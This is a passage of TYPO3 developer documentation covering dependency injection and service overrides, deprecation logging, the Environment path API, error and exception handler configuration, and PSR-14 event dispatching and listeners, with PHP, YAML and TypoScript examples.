  • Classes implementing SingletonInterface
  • Fluid view helpers implementing \ViewHelperInterface . They are additionally declared shared: false.
  • Fluid data processors tagged with data.processor.

Examples of classes that must be made public:

Services that use dependency injection and are not declared public typically error out with typical messages when instantiated using makeInstance() They should be declared public:

Unsatisfied constructor injection
(1/1) ArgumentCountError

Too few arguments to function MyVendor\MyExtension\Namespace\Class::__construct(),
0 passed in typo3/sysext/core/Classes/Utility/GeneralUtility.php on line 3461 and exactly 1 expected
Copied!
Unsatisfied method injection
(1/1) Error

Call to a member function methodName() on null
Copied!

How to override service arguments?

Some services in the TYPO3 core use service arguments, which can be overridden by third-party extensions. For example, the $rateLimiterFactory argument in the \ControllerPasswordRecoveryController of the typo3/cms-felogin extension uses a service with the ID feloginPasswordRecovery.rateLimiterFactory. This service is defined in the Services.yaml file of ext:felogin and includes a service argument named $config, which specifies the configuration for the Symfony Rate Limiter used in the class.

A third-party extension can override the feloginPasswordRecovery.rateLimiterFactory service in its own Services.yaml file, as shown in the example below:

packages/my-extension/Configuration/Services.yaml
feloginPasswordRecovery.rateLimiterFactory:
  class: Symfony\Component\RateLimiter\RateLimiterFactory
  arguments:
    $config:
      id: 'felogin-password-recovery'
      policy: 'sliding_window'
      limit: 10
      interval: '30 minutes'
    $storage: '@storage.cachingFramework'
Copied!

It is important that the 3rd party extension is loaded after the extension whose service it overrides. This can be achieved by requiring the original extension as a dependency in the packages/my-extension/composer.json file of the 3rd party extension.

What do declare shared: false?

A service declared shared: false is not a singleton. Instead, a new instance is created each time the consuming service is instantiated. This approach makes the consuming service stateful as well, but declaring shared: false can help mitigate side effects between different services. It is often preferable to create stateful services using GeneralUtility::makeInstance() when needed, rather than within __construct().

When to use GeneralUtility::makeInstance()?

Ideally, all services in a framework are stateless: They depend on other stateless services and are always retrieved using dependency injection.

TYPO3 core development is gradually transitioning more services to be stateless. However, many historically stateful services still exist. The critical point is that injecting a stateful service into a stateless service makes the consumer stateful as well. This can create a chain of coupled stateful services, leading to unexpected results when these services are reused multiple times within a single request. While declaring a service shared: false can mitigate the issue, it doesn't solve the underlying problem. This scenario is a primary use case for GeneralUtility::makeInstance(). Instead of injecting a stateful service at service build time and reusing it frequently, the service can use makeInstance() at runtime when it needs a service instance.

For instance, the DataHandler class should create new instances for each use, as it becomes "tainted" after use and cannot reset its state properly. Such "dirty-after-use" services should be instantiated anew with makeInstance() when needed.

Some services are stateful but provide workarounds to be injectable. A good example is the Extbase UriBuilder . It is stateful due to its use of the method chaining pattern but includes a reset() method to reset its state. When used correctly, this service can be injected and reused. Additionally, UriBuilder is declared shared: false, so consumers receive distinct instances, reducing the risk of bugs from improper use of reset().

Various solutions exist to make existing services stateless. For instance, the extbase UriBuilder could deprecate its setX() chaining methods and introduce a UriParameterBag data object, which would be passed to the service worker methods. Implementing such changes in the TYPO3 core codebase is an ongoing process that requires careful consideration.

Deciding whether to use makeInstance() instead of dependency injection requires examining the dependency's behavior. Consider these factors:

  • The service class is declared readonly and only declares stateless dependencies in __construct().
  • The service has no class properties.
  • All __construct() arguments are services and declared readonly.
  • __construct() requires no manual non-service arguments.

The last point is particularly relevant: Some TYPO3 core services expect state to be passed to __construct(), making them stateful and unsuitable for injection, as dependency injection cannot handle consumer state. These services must be instantiated using makeInstance() until their constructors are updated to be compatible with dependency injection.

When to use new?

Services should be always retrieved using dependency injection. If that is not feasible because the dependent service is stateful or because the class is created using a "polluted" constructor with manual arguments, it should be created using makeInstance(). While services without dependencies could be instantiated with new, this approach has drawbacks: It introduces risks if the service is later modified to include dependencies and bypasses the XCLASS mechanism and potential service overrides by configuration.

Only data objects - preferably using public constructor property promotion - should be instantiated using the PHP keyword new.

Mix manual constructor arguments and service dependencies?

A service can not mix manual constructor arguments with service dependencies handled by dependency injection. Manual constructor arguments make services stateful. When a service is instantiated with manual arguments, such as $myService = GeneralUtility::makeInstance(MyService::class, $myState), dependency injection is bypassed, and any other service dependencies in the constructor are ignored. Mixing both blends the roles of services and data objects, which is poor PHP architecture.

The extbase-based dependency injection solution using ObjectManager allowed such mixtures, but this has been replaced by the Symfony-based dependency injection solution, which does not support this practice.

What about user functions?

It is possible to use dependency injection when calling custom user functions, for example .userFunc within TypoScript or in (legacy) hooks, usually via \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction().

callUserFunction() internally uses the dependency-injection-aware helper GeneralUtility::makeInstance(), which can recognize and inject services that are marked public.

What about injection in a XCLASS'ed class?

When extending an existing class (for example, an Extbase controller) using XCLASS and injecting additional dependencies using constructor injection, ensure that a reference to the extended class is added in the Configuration/Services.yaml file of the extending extension, as shown in the example below:

EXT:my_extension/Configuration/Services.yaml
TYPO3\CMS\Belog\Controller\BackendLogController: '@MyVendor\MyExtension\Controller\ExtendedBackendLogController'
Copied!

Not yet exemplified

  • This document does not currently elaborate on Symfony service providers, although the TYPO3 core uses them in various places. Use cases for these should be outlined.
  • The concept and usage of "lazy" services are not discussed.
  • Solutions to cyclic dependencies should be explored. Cyclic dependencies occur when services depend on each other, forming a graph instead of a tree, which Symfony's dependency injection cannot resolve. One solution is to make one side lazy, although this is not the primary use of "lazy." Another approach involves using a factory with an interface, as demonstrated in ext:styleguide.

Further information

Deprecation

Introduction

Calls to deprecated functions are logged to track usage of deprecated/outdated methods in the TYPO3 Core. Developers have to make sure to adjust their code to avoid using this old functionality since deprecated methods will be removed in future TYPO3 releases.

Deprecations use the PHP method trigger_error('a message', E_USER_DEPRECATED) and run through the logging and exception stack of the TYPO3 Core. There are several methods that help extension developers in dispatching deprecation errors. In the development context, deprecations are turned into exceptions by default and ignored in the production context.

Enabling deprecation errors

TYPO3 ships with a default configuration, in which deprecation logging is disabled. If you upgrade to the latest TYPO3 version, you need to change your development configuration to enable deprecation logging in case you need it.

Via GUI

Enabling the deprecation log can be done in the Admin Tools > Settings backend module. Click on Choose Preset in the Configuration Presets pane, open Debug settings, activate the Debug option and submit with Activate preset. Disabling the deprecation log can be done by selecting the Live preset instead.

Enabling the debug preset

Enabling the debug preset

The debug preset enables also some other debug settings.

Via configuration file directly

Instead of using the GUI you can also enable or disable the deprecation log with the disabled option:

Excerpt of config/system/settings.php | typo3conf/system/settings.php
<?php

return [
    // ... some configuration
    'LOG' => [
        'TYPO3' => [
            'CMS' => [
                'deprecations' => [
                    'writerConfiguration' => [
                        'notice' => [
                            'TYPO3\CMS\Core\Log\Writer\FileWriter' => [
                                'disabled' => false,
                            ],
                        ],
                    ],
                ],
            ],
        ],
    ],
    // ... more configuration
];
Copied!

Deprecation logging can also be enabled in the additional.php configuration file, here with safeguarding to only enable it in development context:

config/system/additional.php | typo3conf/system/additional.php
<?php

use Psr\Log\LogLevel;
use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Log\Writer\FileWriter;

if (Environment::getContext()->isDevelopment()) {
    $GLOBALS['TYPO3_CONF_VARS']['LOG']['TYPO3']['CMS']['deprecations']
    ['writerConfiguration'][LogLevel::NOTICE][FileWriter::class]
    ['disabled'] = false;
}
Copied!

For more information on how to configure the writing of deprecation logs see Writer configuration.

Find calls to deprecated functions

The extension scanner provides an interactive interface to scan extension code for usage of removed or deprecated TYPO3 Core API.

It is also possible to do a file search for @deprecated and E_USER_DEPRECATED . Using an IDE you can find all calls to the affected methods.

The deprecations are also listed in the changelog of the corresponding TYPO3 version.

Deprecate functions in extensions

Methods that will be removed in future versions of your extension should be marked as deprecated by both the doc comment and a call to the PHP error method:

Excerpt of EXT:my_extension/Classes/MyClass.php
/**
 * @deprecated since version 3.0.4, will be removed in version 4.0.0
 */
public function decreaseColPosCountByRecord(array $record, int $dec = 1): int
{
    trigger_error(
        'Method "decreaseColPosCountByRecord" is deprecated since version 3.0.4, will be removed in version 4.0.0',
        E_USER_DEPRECATED
    );

    // ... more logic
}
Copied!

For more information about how to deprecate classes, arguments and hooks and how the TYPO3 Core handles deprecations, see How to deprecate classes, methods, arguments and hooks in the TYPO3 core.

Environment

The TYPO3 Core includes an environment class that contains all environment-specific information, mostly paths within the filesystem. This implementation replaces previously used global variables and constants like PATH_site that have been removed with TYPO3 v10.

The fully qualified class name is \TYPO3\CMS\Core\Core\Environment . The class provides static methods to access the necessary information.

To simulate environments in testing scenarios, the initialize()-method can be called to adjust the information.

Environment PHP API

getProjectPath()

The environment provides the path to the folder containing the composer.json. For projects without Composer setup, this is equal to getPublicPath().

getPublicPath()

The environment provides the path to the public web folder with index.php for the TYPO3 frontend. This was previously PATH_site. For projects without Composer setup, this is equal to getProjectPath().

getVarPath()

The environment provides the path to the var/ folder. This folder contains data like logs, sessions, locks, and cache files.

For Composer-based installations, it returns var/, in Classic mode installations typo3temp/var/.

use TYPO3\CMS\Core\Core\Environment;

// Composer-based installations: '/path/to/my-project/var/`
// Classic mode installations: '/path/to/my-project/typo3temp/var/'
$pathToLabels = Environment::getVarPath();
Copied!

getConfigPath()

In Composer-based installation this method provides the path config/, in Classic mode installations typo3conf/.

The directory returned by this method contains the folders system/ containing the configuration files system/settings.php and system/additional.php and the folder sites/ containing the site configurations.

use TYPO3\CMS\Core\Core\Environment;

// Composer-based installations: '/path/to/my-project/config/system/settings.php`
// Classic mode installations: '/path/to/my-project/typo3conf/system/settings.php'
$pathToSetting = Environment::getConfigPath() . 'system/settings.php';

// Composer-based installations: '/path/to/my-project/config/sites/mysite/config.yaml`
// Classic mode installations: '/path/to/my-project/typo3conf/sites/mysite/config.yaml'
$pathToSiteConfig = Environment::getConfigPath() . 'sites/' . $siteKey . '/config.yaml';
Copied!

getLabelsPath()

The environment provides the path to var/labels/ in Composer-based installations, respective typo3conf/l10n/ folder in Classic mode installations. This folder contains downloaded translation files.

use TYPO3\CMS\Core\Core\Environment;

// Composer-based installations: '/path/to/my-project/var/labels/`
// Classic mode installations: '/path/to/my-project/typo3conf/l10n/'
$pathToLabels = Environment::getLabelsPath();
Copied!

getCurrentScript()

Returns the path and filename to the current PHP script.

getContext()

Returns the current Application Context, usually defined via the TYPO3_CONTEXT environment variable. May be one of Production, Testing, or Development with optional sub-contexts like Production/Staging.

Example, test for production context:

config/system/additional.php | typo3conf/system/additional.php
use TYPO3\CMS\Core\Core\Environment;

$applicationContext = Environment::getContext();
if ($applicationContext->isProduction()) {
   // do something only when in production context
}
Copied!

Error and exception handling

TYPO3 has a built-in error and exception handling system. Administrators can configure how errors and exceptions are displayed in both the backend and the frontend.

Configuration

Via the GUI

You can configure the most important settings for live or debug error handling in the presets:

Admin Tools > Settings > Configuration Presets > Debug Settings

Enable the debug settings in the Admin Tools

For more fine-grained error handling you can change various settings in:

Admin Tools > Settings > Configure Installation-Wide Options > SYS

Via configuration files

It is also possible to write changes manually into the configuration file config/system/settings.php or config/system/additional.php. Most configuration options related to error and exception handling are part of $GLOBALS['TYPO3_CONF_VARS']['SYS'] .

The following configuration values are of interest:

debug
If enabled, the login refresh is disabled and pageRenderer is set to debug mode. Furthermore the fieldname is appended to the label of fields.
$GLOBALS['TYPO3_CONF_VARS']['FE']['debug']
If enabled, the total parse time of the page is added as HTTP response header X-TYPO3-Parsetime.
devIPmask
Defines a list of IP addresses which will allow development output to display. Setting to "*" will allow all. Setting it to an empty string allows none.
displayErrors
Configures whether PHP errors or Exceptions should be displayed.
errorHandler
Classname to handle PHP errors. Leave empty to disable error handling.
errorHandlerErrors
The E_* constants that will be handled by the error handler.
exceptionalErrors
The E_* constant that will be converted into an exception by the default errorHandler.
productionExceptionHandler
The default exception handler displays a nice error message when something goes wrong. The error message is logged to the configured logs.
debugExceptionHandler
The default debug exception handler displays the complete stack trace of any encountered exception. The error message and the stack trace is logged to the configured logs.
belogErrorReporting
Configures which PHP errors should be logged to the sys_log table.

Exception handler for rendering TypoScript content objects

Exceptions which occur during rendering of content objects (typically plugins) will be caught by default in production context and an error message is shown along with the rendered output. For more information and examples have a look into the TypoScript reference for config.contentObjectExceptionHandler.

Error Handler

Class \TYPO3\CMS\Core\Error\ErrorHandler is the default error handler in TYPO3.

Functions:

  • Can be registered for all PHP errors or for only a subset of the PHP errors which will then be handled by an error handler.
  • Displays error messages as flash messages in the Backend (if exceptionHandler is set to \TYPO3\CMS\Core\Error\DebugExceptionHandler ). Since flash messages are integrated in the Backend template, PHP messages will not destroy the Backend layout.
  • Displays errors as TsLog messages in the adminpanel.
  • Logs error messages via the logging API.
  • Logs error messages to the sys_log table. Logged errors are displayed in the belog extension (Admin Tools > Log). This will work only with an existing DB connection.

Production exception handler

Functionality of the \TYPO3\CMS\Core\Error\ProductionExceptionHandler :

  • Shows brief exception message ("Oops, an error occurred!") using \TYPO3\CMS\Core\Controller\ErrorPageController and its attendant template.
  • Logs exception messages via the logging API.
  • Logs exception messages to the sys_log table. Logged errors are displayed in the belog extension (Admin Tools > Log). This will only work with an existing DB connection.

Depending on the Logging writer configuration the exception output can be found for example in the following locations:

\TYPO3\CMS\Core\Log\Writer\FileWriter
In Composer-based installations the information can be found in directory var/logs/. In Classic mode installations in typo3temp/var/logs/.
\TYPO3\CMS\Core\Log\Writer\SyslogWriter
Logs exception messages to the sys_log table. Logged errors are displayed in the backend module Admin Tools > Log.

Here you find a complete list of Log writers.

Message "Oops, an error occurred!"

The generic error message "Oops, an error occurred!" is displayed when an exception or error happens within a TypoScript content object like FLUIDTEMPLATE or a plugin. When the exception affects only one content element or plugin it is displayed in place of that elements. However, if it affects the content element representing the whole page like PAGEVIEW only a plain page with this text on it is displayed.

This message is displayed in production context instead of a more detailed exception message. The detailed message can then be found in the log.

Show detailed exception output

When the frontend debugging is activated, a detailed exception message is output instead of the generic "Oops, an error occurred!" message.

By default, debugging is enabled in the TYPO3 contexts starting with Development. It can also be enabled by setting config.contentObjectExceptionHandler in TypoScript.

Example: prevent "Oops, an error occurred!" messages for logged-in admins

EXT:my_extension/Configuration/TypoScript/setup.typoscript
[backend.user.isAdmin]
    config.contentObjectExceptionHandler = 0
[END]
Copied!

Debug exception handler

Functions of \TYPO3\CMS\Core\Error\DebugExceptionHandler :

  • Shows detailed exception messages and full trace of an exception.
  • Logs exception messages via the TYPO3 logging framework.
  • Logs exception messages to the sys_log table. Logged errors are displayed in the belog extension (Admin Tools > Log). This will work only if there is an existing DB connection.

Examples

Debugging and development setup

Very verbose configuration which logs and displays all errors and exceptions.

In config/system/settings.php or config/system/additional.php:

config/system/additional.php | typo3conf/system/additional.php
 $changeSettings['SYS'] = [
   'displayErrors' => 1,
   'devIPmask' => '*',
   'errorHandler' => 'TYPO3\\CMS\\Core\\Error\\ErrorHandler',
   'errorHandlerErrors' => E_ALL ^ E_NOTICE,
   'exceptionalErrors' => E_ALL ^ E_NOTICE ^ E_WARNING ^ E_USER_ERROR ^ E_USER_NOTICE ^ E_USER_WARNING,
   'debugExceptionHandler' => 'TYPO3\\CMS\\Core\\Error\\DebugExceptionHandler',
   'productionExceptionHandler' => 'TYPO3\\CMS\\Core\\Error\\DebugExceptionHandler',
];

$GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive($GLOBALS['TYPO3_CONF_VARS'], $changeSettings);
Copied!

You can also use the "Debug" preset in the Settings module "Configuration presets".

In .htaccess

.htaccess
php_flag display_errors on
php_flag log_errors on
php_value error_log /path/to/php_error.log
Copied!
EXT:some_extension/Configuration/TypoScript/setup.typoscript
config.contentObjectExceptionHandler = 0
Copied!

Use this setting, to get more context and a stacktrace in the Frontend in case of an exception.

See contentObjectExceptionHandler for more information.

Production setup

Example for a production configuration which displays only errors and exceptions, if the devIPmask setting matches. Errors and exceptions are only logged, if their log level is at least \Psr\Log\LogLevel::WARNING.

In config/system/settings.php or config/system/additional.php:

config/system/additional.php | typo3conf/system/additional.php
 $changeSettings['SYS'] = [
   'displayErrors' => -1,
   'devIPmask' => '[your.IP.address]',
   'errorHandler' => 'TYPO3\\CMS\\Core\\Error\\ErrorHandler',
   'belogErrorReporting' => '0',
];

$GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive($GLOBALS['TYPO3_CONF_VARS'], $changeSettings);
Copied!

You can also use the "Live" preset in the Settings module "Configuration presets".

In .htaccess:

.htaccess
php_flag display_errors off
php_flag log_errors on
php_value error_log /path/to/php_error.log
Copied!

Performance setup

Since the error and exception handling and also the logging need some performance, here's an example how to disable error and exception handling completely.

In config/system/settings.php or config/system/additional.php:

config/system/additional.php | typo3conf/system/additional.php
 $changeSettings['SYS'] = [
   'displayErrors' => 0,
   'devIPmask' => '',
   'errorHandler' => '',
   'debugExceptionHandler' => '',
   'productionExceptionHandler' => '',
   'belogErrorReporting' => '0',
];

$GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive($GLOBALS['TYPO3_CONF_VARS'], $changeSettings);
Copied!

In .htaccess:

.htaccess
php_flag display_errors off
php_flag log_errors off
Copied!

How to extend the error and exception handling

If you want to register your own error or exception handler:

  1. Create a corresponding class in your extension
  2. Override the Core defaults for productionExceptionHandler, debugExceptionHandler or errorHandler in config/system/additional.php:

    config/system/additional.php | typo3conf/system/additional.php
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['errorHandler'] = \Vendor\Ext\Error\MyOwnErrorHandler::class;
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['debugExceptionHandler'] = \Vendor\Ext\Error\MyOwnDebugExceptionHandler::class;
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['productionExceptionHandler'] = \Vendor\Ext\Error\MyOwnProductionExceptionHandler::class;
    Copied!

An error or exception handler class must register an error (exception) handler in its constructor. Have a look at the files in EXT:core/Classes/Error/ to see how this should be done.

If you want to use the built-in error and exception handling but extend it with your own functionality, derive your class from the error and exception handling classes shipped with TYPO3.

Example Debug Exception Handler

This uses the default Core exception handler DebugExceptionHandler and overrides some of the functionality:

EXT:some_extension/Classes/Error/PostExceptionsOnTwitter.php
namespace Vendor\SomeExtension\Error;

class PostExceptionsOnTwitter extends \TYPO3\CMS\Core\Error\DebugExceptionHandler
{
    public function echoExceptionWeb(Exception $exception)
    {
        $this->postExceptionsOnTwitter($exception);
    }

    public function postExceptionsOnTwitter($exception)
    {
        // do it ;-)
    }
}
Copied!
config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['debugExceptionHandler'] = \Vendor\SomeExtension\Error\PostExceptionsOnTwitter::class;
Copied!

Extending the TYPO3 Core

Events and hooks provide an easy way to extend the functionality of the TYPO3 Core and its extensions without blocking others to do the same.

Events are being emitted by the TYPO3 Core or an extension via the event dispatcher. The event will be received by all implemented event listeners for the event in question. Events are strongly typed. Events only allow changes to variables that are intended to be changed by the event.

Hooks are basically places in the source code where a user function will be called for processing, if such has been configured.

TYPO3 extending mechanisms video

Lina Wolf: Extending Extensions @ TYPO3 Developer Days 2019

Events and hooks vs. XCLASS extensions

Events and hooks are the recommended way of extending TYPO3 compared to extending PHP classes with a child class (see XCLASS extensions). Using the XCLASS functionality only one extension of a PHP class can exist at a time while hooks and events may allow many different user-designed processor functions to be executed. With TYPO3 v10 the event dispatcher was introduced. It is a strongly typed way of extending TYPO3 and therefore recommended to use wherever available.

However, events have to be emitted and hooks have to be implemented in the TYPO3 Core or an extension before they can be used, while extending a PHP class via the XCLASS method allows you to extend any class you like.

Proposing events

If you need to extend the functionality of a class which has no event or hook yet, then you should suggest emitting an event. Normally that is rather easily done by the author of the source you want to extend:

  • For the TYPO3 Core create an issue on forge.typo3.org.
  • For a third-party extension create an issue in the according issue tracker of that extension.

Event dispatcher (PSR-14 events)

The event dispatcher system was added to extend TYPO3's Core behaviour in TYPO3 v10.0. In the past, this was done via Extbase's signal/slot and TYPO3's custom hook system. The event dispatcher system is a fully-capable replacement for new code in TYPO3, as well as a possibility to migrate away from previous TYPO3 solutions.

Don't get hooked, listen to events! PSR-14 within TYPO3 v10.

-- Benni Mack @ TYPO3 Developer Days 2019

For a basic example on listening to an event, see the chapter Listen to an event in the extension development how-to section.

Quick start

Dispatching an event

This quick start section shows how to create your own event class and dispatch it. If you just want to listen on an existing event, see section Implementing an event listener in your extension.

  1. Create an event class.

    An event class is basically a plain PHP object with getters for immutable properties and setters for mutable properties. It contains a constructor for all properties:

    EXT:my_extension/Classes/Event/DoingThisAndThatEvent.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Event;
    
    final class DoingThisAndThatEvent
    {
        public function __construct(
            private string $mutableProperty,
            private readonly int $immutableProperty,
        ) {}
    
        public function getMutableProperty(): string
        {
            return $this->mutableProperty;
        }
    
        public function setMutableProperty(string $mutableProperty): void
        {
            $this->mutableProperty = $mutableProperty;
        }
    
        public function getImmutableProperty(): int
        {
            return $this->immutableProperty;
        }
    }
    
    Copied!

    Read more about implementing event classes.

  2. Inject the event dispatcher

    If you are in a controller, the event dispatcher has already been injected, and in this case you can omit this step.

    If the event dispatcher is not yet available, you need to inject it:

    EXT:my_extension/Classes/SomeClass.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension;
    
    use Psr\EventDispatcher\EventDispatcherInterface;
    
    final class SomeClass
    {
        public function __construct(
            private readonly EventDispatcherInterface $eventDispatcher,
        ) {}
    }
    
    Copied!
  3. Dispatch the event

    Create an event object with the data that should be passed to the listeners. Use the data of mutable properties as it suits your business logic:

    EXT:my_extension/Classes/SomeClass.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension;
    
    use MyVendor\MyExtension\Event\DoingThisAndThatEvent;
    use Psr\EventDispatcher\EventDispatcherInterface;
    
    final class SomeClass
    {
        public function __construct(
            private readonly EventDispatcherInterface $eventDispatcher,
        ) {}
    
        public function doSomething(): void
        {
            // ..
    
            /** @var DoingThisAndThatEvent $event */
            $event = $this->eventDispatcher->dispatch(
                new DoingThisAndThatEvent('foo', 2),
            );
            $someChangedValue = $event->getMutableProperty();
    
            // ...
        }
    }
    
    Copied!

Description of PSR-14 in the context of TYPO3

PSR-14 is a lean solution that builds upon wide-spread solutions for hooking into existing PHP code (Frameworks, CMS, and the like).

PSR-14 consists of the following four components:

The event dispatcher object

The EventDispatcher object is used to trigger an event. TYPO3 has a custom event dispatcher implementation. In PSR-14 all event dispatchers of all frameworks are implementing \Psr\EventDispatcher\EventDispatcherInterface , thus it is possible to replace the event dispatcher with another. The EventDispatcher's main method dispatch() is called in TYPO3 Core or extensions. It receives a PHP object which will then be handed to all available listeners.

The listener provider

A ListenerProvider object that contains all listeners which have been registered for all events. TYPO3 has a custom listener provider that collects all listeners during compile time. This component is only used internally inside of TYPO3's Core Framework.

The events

An Event object can be any PHP object and is called from TYPO3 Core or an extension ("emitter") containing all information to be transported to the listeners. By default, all registered listeners get triggered by an event, however, if an event has the interface \Psr\EventDispatcher\StoppableEventInterface implemented, a listener can stop further execution of other event listeners. This is especially useful, if the listeners are candidates to provide information to the emitter. This allows to finish event dispatching, once this information has been acquired.

If an event allows modifications, appropriate methods should be available, although due to PHP's nature of handling objects and the PSR-14 listener signature, it cannot be guaranteed to be immutable.

The listeners

Extensions and PHP packages can add listeners that are registered via YAML. They are usually associated to Event objects by the fully-qualified class name of the event to be listened on. It is the task of the listener provider to provide configuration mechanisms to represent this relationship.

If multiple event listeners for a specific event are registered, their order can be configured or an existing event listener can also be overridden with a different one.

The System > Configuration > Event Listeners (PSR-14) backend module (requires the system extension lowlevel) reveals an overview of all registered event listeners, see Debugging event handling.

Advantages of the event dispatcher over hooks

The main benefits of the event dispatcher approach over hooks is an implementation which helps extension authors to better understand the possibilities by having a strongly typed system based on PHP. In addition, it serves as a bridge to also incorporate other events provided by frameworks that support PSR-14.

Impact on TYPO3 Core development in the future

TYPO3's event dispatcher serves as the basis to replace all hooks in the future. However, for the time being, hooks work the same way as before, unless migrated to an event dispatcher-like code, whereas a PHP E_USER_DEPRECATED error can be triggered.

Some hooks might not be replaced 1:1 to event dispatcher, but rather superseded with a more robust or future-proof API.

Implementing an event listener in your extension

New in version 13.0

The event listener class

An example listener, which hooks into the Mailer API to modify mailer settings to not send any emails, could look like this:

EXT:my_extension/Classes/EventListener/MailerEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Mail\Event\AfterMailerSentMessageEvent;

#[AsEventListener(
    identifier: 'my-extension/null-mailer',
    before: 'someIdentifier, anotherIdentifier',
)]
final readonly class MailerEventListener
{
    public function __invoke(AfterMailerSentMessageEvent $event): void
    {
        // do something
    }
}
Copied!

An extension can define multiple listeners. The attribute can be used on class and method level. The PHP attribute is repeatable, which allows to register the same class to listen for different events.

Once the emitter is triggering an event, this listener is called automatically. Be sure to inspect the event's PHP class to fully understand the capabilities provided by an event.

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener supports the following properties (which are all optional):

identifier
A unique identifier should be declared which identifies the event listener, and orderings can be build upon the identifier. If this property is not explicitly defined, the service name is automatically used instead.
before
This property allows a custom sorting of registered listeners. The listener is then dispatched before the given listener. The value is the identifier of another event listener. Also, multiple event identifiers can be entered here, separated by a comma.
after
This property allows a custom sorting of registered listeners. The listener is then dispatched after the given listener. The value is the identifier of another event listener. Also, multiple event identifiers can be entered here, separated by a comma.
event
The fully-qualified class name (FQCN) of the dispatched event, that the listener wants to react to. It is recommended to not specify this property, but to use the FQCN as type declaration of the argument within the dispatched method (usually __invoke(EventName $event)).
method
The method to be called. If this property is not given, the listener class is treated as invokable, thus its __invoke() method is called.

The PHP attribute is repeatable, which allows to register the same class to listen for different events, for example:

EXT:my_extension/Classes/EventListener/MailerEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Mail\Event\AfterMailerSentMessageEvent;
use TYPO3\CMS\Core\Mail\Event\BeforeMailerSentMessageEvent;

#[AsEventListener(
    identifier: 'my-extension/null-mailer-initialization',
    event: AfterMailerSentMessageEvent::class,
)]
#[AsEventListener(
    identifier: 'my-extension/null-mailer-sent-message',
    event: BeforeMailerSentMessageEvent::class,
)]
final readonly class MailerEventListener
{
    public function __invoke(
        AfterMailerSentMessageEvent | BeforeMailerSentMessageEvent $event,
    ): void {
        // do something
    }
}
Copied!

The PHP attribute can also be used on a method level. The above example can also be written as:

EXT:my_extension/Classes/EventListener/MailerEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Mail\Event\AfterMailerSentMessageEvent;
use TYPO3\CMS\Core\Mail\Event\BeforeMailerSentMessageEvent;

final readonly class MailerEventListener
{
    #[AsEventListener(
        identifier: 'my-extension/null-mailer-initialization',
        event: AfterMailerSentMessageEvent::class,
    )]
    #[AsEventListener(
        identifier: 'my-extension/null-mailer-sent-message',
        event: BeforeMailerSentMessageEvent::class,
    )]
    public function __invoke(
        AfterMailerSentMessageEvent | BeforeMailerSentMessageEvent $event,
    ): void {
        // do something
    }
}
Copied!

Registering the event listener via Services.yaml

New in version 13.0

If using the PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener to configure an event listener, the registration in the Configuration/Services.yaml file is not necessary anymore.

If an extension author wants to provide a custom event listener, an according entry with the tag event.listener can be added to the Configuration/Services.yaml file of that extension.

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  MyVendor\MyExtension\EventListener\NullMailer:
    tags:
      - name: event.listener
        method: handleEvent
        identifier: 'my-extension/null-mailer'
        before: 'someIdentifier, anotherIdentifier'
Copied!

Read how to configure dependency injection in extensions.

The tag name event.listener identifies that a listener should be registered.

The custom PHP class \MyVendor\MyExtension\EventListener\NullMailer serves as the listener whose handleEvent() method is called, once the event is dispatched. The name of the listened event is specified as a typed argument to that dispatch method. handleEvent(\TYPO3\CMS\Core\Mail\Event\BeforeMailerSentMessageEvent $event) will for example listen on the event BeforeMailerSentMessageEvent.

The identifier is a common name, so orderings can be built upon the identifier, the optional before and after attributes allow for custom sorting against the identifier of other listeners. If no identifier is specified, the service name (usually the fully-qualified class name of the listener) is automatically used.

If no attribute method is given, the class is treated as invokable, thus its __invoke() method will be called:

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  MyVendor\MyExtension\EventListener\NullMailer:
    tags:
      - name: event.listener
        identifier: 'my-extension/null-mailer'
        before: 'someIdentifier, anotherIdentifier'
Copied!

Read how to configure dependency injection in extensions.

Overriding event listeners

Existing event listeners can be overridden by custom implementations. This can be performed with both methods, either by using the PHP #[AsEventListener] attribute, or via EXT:my_extension/Configuration/Services.yaml.

For example, a third-party extension listens on the event \TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent via the PHP attribute:

EXT:some_extension/Classes/EventListener/SeoEvent.php
<?php

declare(strict_types=1);

namespace SomeVendor\SomeExtension\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent;

#[AsEventListener(
    identifier: 'ext-some-extension/modify-hreflang',
    after: 'typo3-seo/hreflangGenerator',
)]
final readonly class SeoEventListener
{
    public function __invoke(ModifyHrefLangTagsEvent $event): void
    {
        // ... custom code...
    }
}
Copied!

or via Services.yaml declaration:

EXT:some_extension/Configuration/Services.yaml
SomeVendor\SomeExtension\Seo\HrefLangEventListener:
  tags:
    - name: event.listener
      identifier: 'ext-some-extension/modify-hreflang'
      after: 'typo3-seo/hreflangGenerator'
Copied!

If you want to replace this event listener with your custom implementation, your extension can achieve this by specifying the overridden identifier via the PHP attribute:

EXT:my_extension/Configuration/Classes/EventListener/MySeoEvent.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent;

